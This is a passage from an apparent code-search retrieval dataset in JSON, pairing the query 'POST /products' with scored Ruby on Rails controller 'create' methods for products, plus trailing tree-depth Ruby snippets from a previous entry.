"docid": "3605a78563844aa9e89f6dec3c293f6b",
"score": "0.6725553",
"text": "def depth_of(rating)\n return nil if include?(rating) == false\n if rating == node.rating\n return node.depth\n else \n node.depth_of(rating)\n end\n end",
"title": ""
},
{
"docid": "71203d05822c06e7f429397834897f79",
"score": "0.6722628",
"text": "def nodeDepth\n return 0 if isRoot?\n 1 + parent.nodeDepth\n end",
"title": ""
},
{
"docid": "71203d05822c06e7f429397834897f79",
"score": "0.6722628",
"text": "def nodeDepth\n return 0 if isRoot?\n 1 + parent.nodeDepth\n end",
"title": ""
},
{
"docid": "191394992fa8f62cb3f9ffbbb4e48881",
"score": "0.6704755",
"text": "def height\n if !leaf?\n descendants.collect {|child| child.depth }.uniq.size + 1\n else\n 1\n end\n end",
"title": ""
},
{
"docid": "e965392846bbd4562844c2b2b91ad9e4",
"score": "0.6698422",
"text": "def space_depth()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "06f24873208dcda3c271c3dc170af216",
"score": "0.66928655",
"text": "def depth(node)\n result = \"This node has a depth level of \"\n return unless contains?\n depth_level = 0\n current_node = @root\n until current_node == node\n node < current_node ? current_node = current_node.left_child : current_node.right_child\n depth_level += 1\n end\n result += depth_level.to_s\n result\n end",
"title": ""
},
{
"docid": "db3e5c5c7863a432886394d627b97596",
"score": "0.6690705",
"text": "def depth(node)\n node = Node.new(data: node) unless node.is_a?(Node)\n curr_node = @root\n depth = 0\n\n until node == curr_node\n curr_node = node < curr_node ? curr_node.left : curr_node.right\n depth += 1\n end\n\n depth\n end",
"title": ""
},
{
"docid": "972e62eb1cf3d38ace26c0c89f5345b8",
"score": "0.66860396",
"text": "def tree_size\n n = 0\n dfs{|x| n += 1}\n n\n end",
"title": ""
},
{
"docid": "7a4b1f81581fd0de5acf3fe986722e6b",
"score": "0.6684597",
"text": "def depth\n left_height = @left.depth\n right_height = @right.depth\n (left_height > right_height) ? left_height + 1 : right_height + 1\n end",
"title": ""
}
] |
fb8f5cfe5a8493b288609842f2318fc5
|
POST /products POST /products.json
|
[
{
"docid": "3510e159e4d7c9f5689f636f8b5b868f",
"score": "0.0",
"text": "def create\n authorize! :manage, :all\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product detail was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "407bb6093aa234f76822a55ce5f56b4c",
"score": "0.76166385",
"text": "def create\n Product.create!(product_params)\n json_response(product_params, :created)\n end",
"title": ""
},
{
"docid": "3ddcbf5081b4581931f5cffb5d1126c4",
"score": "0.7605046",
"text": "def create\n @product = Product.new(@json['product'])\n\n if @product.save\n render json: @product\n else\n # Internal Server Error, 500.\n render nothing: true, status: :internal_server_error\n end\n end",
"title": ""
},
{
"docid": "9fc6f1174fd5f01b529df492a4d1e50c",
"score": "0.7592679",
"text": "def create_product( a, p )\n product_json = { \n :product => { \n :escell_clone => p[:escell_clone], \n :allele_id => a[\"id\"] \n } \n }.to_json\n \n product_data = request(\n :url => \"products.json\",\n :method => \"post\",\n :payload => product_json\n )\n \n product = JSON.parse(product_data)[\"product\"]\n return product\nend",
"title": ""
},
{
"docid": "305693f48677a8c4086c051ceaff881c",
"score": "0.7581578",
"text": "def create\n @product = Product.new(params[:product])\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "8f21a0d637d3aa086b5533b715433279",
"score": "0.7547915",
"text": "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "67f81d4e338bb581fb34335840fd397f",
"score": "0.7533107",
"text": "def create\n product = Product.new(\n name: prod_params[:name],\n brand: prod_params[:brand],\n price: prod_params[:price],\n description: prod_params[:description]\n )\n if product.save\n render json: product, status: 200\n else\n render json: {error: \"Error creating product.\"}\n end\n end",
"title": ""
},
{
"docid": "53fa1a56e203b00077e7ca09866aa606",
"score": "0.7522272",
"text": "def create\n @product = Product.new(params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "e1b399fcdbfb747486eb7ed7deaa2193",
"score": "0.74359083",
"text": "def create\n @product = Product.new(product_params)\n if @product.save\n render json: @product, status: 201\n else\n render_errors 400, @product.errors.full_messages\n end\n end",
"title": ""
},
{
"docid": "891bc0e757f16c5983bb4ff19708efe9",
"score": "0.7417362",
"text": "def create\n product = Product.create(product_params)\n\n #Respond with status with given json if product(s) created\n if product.all?(&:save)\n render json: { status: 200, message: \"Successfully created the product(s).\"}.to_json\n else\n render json: { status: 400, message: \"Error, could not save the product. Please check all fields.\" }.to_json\n end\n end",
"title": ""
},
{
"docid": "114e2f33750c419a652da0c3d5e6ee60",
"score": "0.7391407",
"text": "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2e645fb55ecab46c6f3e0c5eda18a29b",
"score": "0.73786986",
"text": "def create(product_params)\n @client.post(\"/#{@model}\", product_params)\n end",
"title": ""
},
{
"docid": "f3e848d1f08bad198e66aa149e67f05a",
"score": "0.73138356",
"text": "def create\n @product = Product.create(product_params)\n\n if @product.save\n render json: {\n status: :created,\n product: @product\n }\n else\n render json: {\n status: 500\n }\n end\n end",
"title": ""
},
{
"docid": "3bd45f66d1dea981acee0389f1e5895d",
"score": "0.7285063",
"text": "def create\n product = Product.new(product_params)\n if !product.save\n return render json:{ error: product.errors }, status: 422\n end\n @user.products.push(product)\n return render json: { created: true }, status: 200\n end",
"title": ""
},
{
"docid": "992efd641dca16f1c8c3135f55d3223a",
"score": "0.72826314",
"text": "def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "bd0fff3365fc5b7bf6bc2cff5f456ed5",
"score": "0.7255824",
"text": "def create\r\n product = current_user.products.build(product_params)\r\n if product.save\r\n #we use render because we want to return a 201 status code\r\n render json: product, status: 201, location: [:api, product]\r\n else\r\n render json: { errors: product.errors }, status: 422\r\n end\r\n end",
"title": ""
},
{
"docid": "a7b5ea34bab0d6179b1d326a7946566a",
"score": "0.7245764",
"text": "def create\n product = Product.new(params[:product])\n\n if product.save\n response = formatted_response(true, product, t('api.message.catalog.products.create.success'))\n else\n response = formatted_response(false, product.errors, t('api.message.catalog.products.create.failure'))\n end\n\n render :json => response\n end",
"title": ""
},
{
"docid": "668018ceb5c0669df5f02daa2891314a",
"score": "0.7237525",
"text": "def create\n @product = Product.new(product_params)\n current_user.products << @product\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c7a80cd12c5a4cbd7cfa8aa3b2fa8950",
"score": "0.7210748",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to api_product_path(@product), notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4781881dfc5181a7870bceb24901634a",
"score": "0.72019273",
"text": "def create\n product = Product.create(product_params)\n if product.save\n render json: { message: \"Product Saved successfully\" }\n else\n render json: { errors: product.errors.full_messages }, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "e7b8baa98c7fda970d16bf7e5e173bd9",
"score": "0.71816033",
"text": "def create\n product = Product.new(product_params)\n if product.save\n product.reload\n render json: {\n status: 'OK', results: product, error: nil\n }, status: :created\n else\n not_process\n end\n end",
"title": ""
},
{
"docid": "ea5c8685b2e2c927eb38bb602500d1b5",
"score": "0.71749836",
"text": "def create\n product = Product.new(\n name: prod_params[:name],\n brand: prod_params[:brand],\n price: prod_params[:price],\n description: prod_params[:description]\n )\n if product.save\n render json: product, status: 200\n else\n render json: {error: \"Error creating review.\"}\n end\n end",
"title": ""
},
{
"docid": "64b216d25e027a5293fc34df19123bfd",
"score": "0.7172123",
"text": "def create_api(products)\n products.each do |i|\n if Product.find_by_product_id(i.id) == nil\n Product.create(\n product_id: i.id,\n title: i.title,\n vendor: i.vendor,\n retail_price: i.variants[0].price\n )\n end\n end\n end",
"title": ""
},
{
"docid": "31edb8734dc7c2e2abcbaeda6312ca98",
"score": "0.7161999",
"text": "def create\n product = Product.new(product_params)\n\n # check if saved correctly\n if product.save\n render json: {status: 'SUCCESS', message:'Added the new product', data:product},status: :ok\n else\n render json: {status: 'ERROR', message:'Could not add the new product', data:store},status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "554b4384cc4c1bff7ddadf8901b357c6",
"score": "0.7157251",
"text": "def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: \"Product was successfully created.\" }\n format.json { render :show, status: :created, location: @products }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "be0df9ff01778b30eed37361dfe8b072",
"score": "0.71199626",
"text": "def create\n @product = Product.new(product_params)\n\n if @product.save\n render :show, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "52ba2c41b26a47f8dbdf4f42b909d922",
"score": "0.71141976",
"text": "def create\n product_ids_list = order_params.delete(:product_id)\n @order = Order.create(order_params.except(:product_id))\n product_ids_list.each do |product_id|\n @order.products << Product.find(product_id.to_i)\n end\n if @order.save\n render json: @order.to_json(:include => :products), status: :created\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5b2bfdd64b606960b0c7f278a478e555",
"score": "0.7112764",
"text": "def create\r\n product = Product.new(product_params)\r\n if product.save\r\n render json: {\r\n status: 'SUCCESS',\r\n message: 'Created specific product',\r\n data: product\r\n }, status: :ok\r\n else\r\n render json: {\r\n status: 'ERROR',\r\n message: 'Could not create specific product',\r\n data: product.errors\r\n }, status: :unprocessable_entity\r\n end\r\n end",
"title": ""
},
{
"docid": "2a0aa3c8b242255b960d52e75b20fa4f",
"score": "0.7096966",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice=>\"Product was successfully created.\" }\n format.json { render :json=>@product, :status=>:created, :location=>@product }\n else\n format.html { render :action=>\"new\" }\n format.json { render :json=>@product.errors, :status=>:unprocessable_entry }\n end\n end\n end",
"title": ""
},
{
"docid": "64a830b07391868683defd9f607de266",
"score": "0.70856345",
"text": "def create\n\t\t@product = Product.new(product_params)\n\t\trespond_to do |format|\n\t\t\tif(@product.save)\n\t\t\t\tformat.json{render json: @product}\n\t\t\telse\n\t\t\t\tformat.json{render json: {errors: @product.errors.full_messages},status: :unprocessable_entity}\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "fe15a5974bf86b81b910fc723bbf4be4",
"score": "0.7080723",
"text": "def create\n @product = Product.new(product_params)\n\n if @product.save\n ApplicationMailer.product_added(@product).deliver\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ae3e1063ed4375744dfba26798450908",
"score": "0.7069466",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.json { render json: @product.to_api, status: :created, location: @product }\n format.xml { render xml: @product.to_api, status: :created, location: @product }\n else\n format.json { render json: @product.errors, status: :unprocessable_entity }\n format.xml { render xml: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "de9cfaa90feabba713e93f38a413b312",
"score": "0.70668083",
"text": "def create\n @productos_json = ProductosJson.new(productos_json_params)\n\n respond_to do |format|\n if @productos_json.save\n format.html { redirect_to @productos_json, notice: 'Productos json was successfully created.' }\n format.json { render action: 'show', status: :created, location: @productos_json }\n else\n format.html { render action: 'new' }\n format.json { render json: @productos_json.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6888e9fd44fb8c70ead3b38cd9088774",
"score": "0.7047469",
"text": "def create\n @producto = Producto.new(producto_params)\n\n if @producto.save\n render json: @producto, status: :created, location: @producto\n else\n render json: @producto.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "6ded1b693eeb2c504aa4d4496a4998b5",
"score": "0.7045533",
"text": "def create\n @product = Product.new(params[:product])\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4804ae0c872c11e1142d2c044c484b38",
"score": "0.7041787",
"text": "def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to api_v1_product_path(@product), notice: 'Product was successfully created.' }\n \n msg = { :status => 201, :message => \"ok\", result: { id: @product.id } }\n format.json { render :json => msg }\n else\n format.html { render :new }\n\n msg = { status: :unprocessable_entity, :message => \"Error al crear producto\", errors: @product.errors }\n format.json { render :json => msg }\n\n end\n end\n end",
"title": ""
},
{
"docid": "d6ee03e2d48d31bbdad527391e4cba6e",
"score": "0.70373523",
"text": "def create\n @product = Product.new(product_params)\n render json: @product.errors unless @product.save\n end",
"title": ""
},
{
"docid": "d71c9698858262704a3045a6b51d226b",
"score": "0.7037288",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d71c9698858262704a3045a6b51d226b",
"score": "0.7037288",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, :notice => 'Product was successfully created.' }\n format.json { render :json => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0479a4ffdd7359ff2325313d1d6a3abd",
"score": "0.70322204",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_path, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0479a4ffdd7359ff2325313d1d6a3abd",
"score": "0.70322204",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_path, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "33b4ec689e268569430778464b70a20b",
"score": "0.7029265",
"text": "def create\n @product = Product.new(product_params)\n save_relations\n \n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "174ad5f5537baa8be1164d646d78c44c",
"score": "0.7025743",
"text": "def create\n @product = Product.new(product_params)\n @product.sizes = params[:product][:sizes]\n if @product.save\n render json: @product, status: :created\n else\n render_api_error(0, 422, 'error', @product.errors) \n end\n end",
"title": ""
},
{
"docid": "e3857448d00df9d5c180d9fcfca8db63",
"score": "0.6987812",
"text": "def create\n\t\t@product = Product.new(product_params.except(:price, :discount, :categories))\n\t\t\n\t\tbegin\n\t\t\tproduct_params[:categories].each do |name|\n\t\t\t\t@product.categories << Category.find_by_name(name)\n\t\t\tend\n\t\t\t\n\t\t\t@product.save\n\t\trescue => ex\n\t\t\trender json: {message: ex.message}\n\t\tend\n\t\t\t\n\t\trender json: @product, status: :ok\n\tend",
"title": ""
},
{
"docid": "93f108a37c930ad84b176100307457af",
"score": "0.6984186",
"text": "def create\n @product = Product.new(params[:products])\n\n respond_to do |format|\n if product.save\n format.html { redirect_to product, notice: 'Menu item was successfully created.' }\n format.json { render json: @product, status: :created, location: product }\n else\n format.html { render action: :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "80494f3b136cf03ee13bb920c7059b3e",
"score": "0.69742155",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_path, notice: \"#{I18n.t \"html.save_success\"}\" }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab3a77521915dc22d688767ced90a2f0",
"score": "0.6969258",
"text": "def create\n product = Product.new()\n\n product.product_name = params[:product_name]\n product.price = params[:price]\n product.product_type = params[:product_type]\n product.is_published = true if params[:is_published]\n product.sold_status = Product.SOLD_NOT_SOLD\n product.condition = params[:condition]\n product.description = params[:description]\n product.user = @current_user\n\n if product.save()\n\n payload = {\n error: false,\n id: product.id\n }\n render status: 200, json: payload\n else\n errors = []\n \n product.errors.keys.each do |key|\n errors << {field: key, message: product.errors.full_messages_for(key).first}\n end\n \n payload = {\n error: true,\n errors: errors\n }\n render status: 200, json: payload\n end\n end",
"title": ""
},
{
"docid": "ff241b07f57b92b7734266d9e96ca908",
"score": "0.6956297",
"text": "def create\n @product = Product.new(params[:product])\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d2875538f813f67dca0fda96d0331bd",
"score": "0.69545984",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73a783be8a4f5e3bf4c0ad98de763bba",
"score": "0.6950239",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_path, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73a783be8a4f5e3bf4c0ad98de763bba",
"score": "0.6950239",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_path, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73a783be8a4f5e3bf4c0ad98de763bba",
"score": "0.6950239",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_path, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a7502882d114f1283c85e8a010fbfdee",
"score": "0.69472617",
"text": "def do_create\n post :create, product: valid_params\n end",
"title": ""
},
{
"docid": "f0b5339b59a66c7e978fa818125300d1",
"score": "0.69257927",
"text": "def create\n @product_product = Product::Product.new(product_product_params)\n\n respond_to do |format|\n if @product_product.save\n format.html { redirect_to @product_product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product_product }\n else\n format.html { render :new }\n format.json { render json: @product_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0bd484443a028dc804932483a31340ac",
"score": "0.6917724",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: \"Product was successfully created.\" }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entry }\n end\n end\n end",
"title": ""
},
{
"docid": "261aff6b04ecde5bca11d2af172897d2",
"score": "0.69158536",
"text": "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product has been created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c959b113316d5e4f75a91c790cb841e",
"score": "0.69139326",
"text": "def create\n product_models = []\n params[\"invoice\"][\"products_attributes\"].each {|key, value|\n object = Product.new\n object.tipo = value[\"tipo\"]\n object.marca = value[\"marca\"]\n object.modelo = value[\"modelo\"]\n object.precio = value[\"precio\"]\n object.numero_producto = value[\"numero_producto\"]\n product_models << object\n object.save\n }\n @invoice = Invoice.new(invoice_params)\n product_models.each do |ii|\n @invoice.products << ii\n end\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e5a42776e09ba6d30608fac13d907ce",
"score": "0.6906583",
